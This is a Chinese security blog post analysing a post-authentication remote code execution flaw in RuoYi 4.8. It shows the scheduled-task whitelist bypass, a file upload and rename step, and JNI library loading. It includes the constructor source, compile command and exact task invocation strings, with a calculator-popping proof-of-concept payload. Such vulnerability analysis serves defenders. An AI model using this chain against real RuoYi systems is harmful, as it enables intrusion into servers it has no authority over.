扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
利用需要知道profile目录
环境搭建如下
https://github.com/yangzongzhuan/RuoYi/releases
导入数据库,修改application-druid中的数据库账号密码
修改application中的文件路径及log存放路径
启动成功
计划任务
根据提交数据包锁定后端路由
调试看一下具体做了什么
前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用
还判断了是否有一些黑名单中的类
进入白名单的判断
提取出调用的类名,判断其中是否包含白名单字符串
白名单字符串为com.ruoyi.quartz.task
注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能
后续就会进入正常的保存计划任务流程
当启动任务时,会调用方法
获取需要调用的类名方法名参数值
在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象
接着会实例化该类,反射调用其方法
该方法为public修饰
我们想要利用需要达成的是
- 使用的类不在黑名单中
- 要存在com.ruoyi.quartz.task字符串
- 不可以使用rmi ldap http协议
0x3 文件上传
而在ruoyi中存在一个文件上传点
我们可以随便上传一个文件看看
那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件
![ruoyi系统 4.8 后台RCE漏洞分析 ruoyi系统 4.8 后台RCE漏洞分析]()
0x4 RCE
结合导致RCE
在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的构造函数
而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰
�
注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题
构造并上传链接库
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((__constructor__)) void angel (void) {
// 调用 system 函数打开计算器应用程序
system("open -a calculator");
}
//gcc -arch x86_64 -shared -o 1.dylib calc.c
//根据不同架构修改
编译后上传该文件
我们还需要修改文件名,可以使用RenameUtil类方法去对文件名进行修改
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.txt","/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.dylib");
可以修改指定文件名
启动任务
文件名修改成功
尝试rce
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001');
原文始发于微信公众号(神农Sec):ruoyi系统 4.8 后台RCE漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论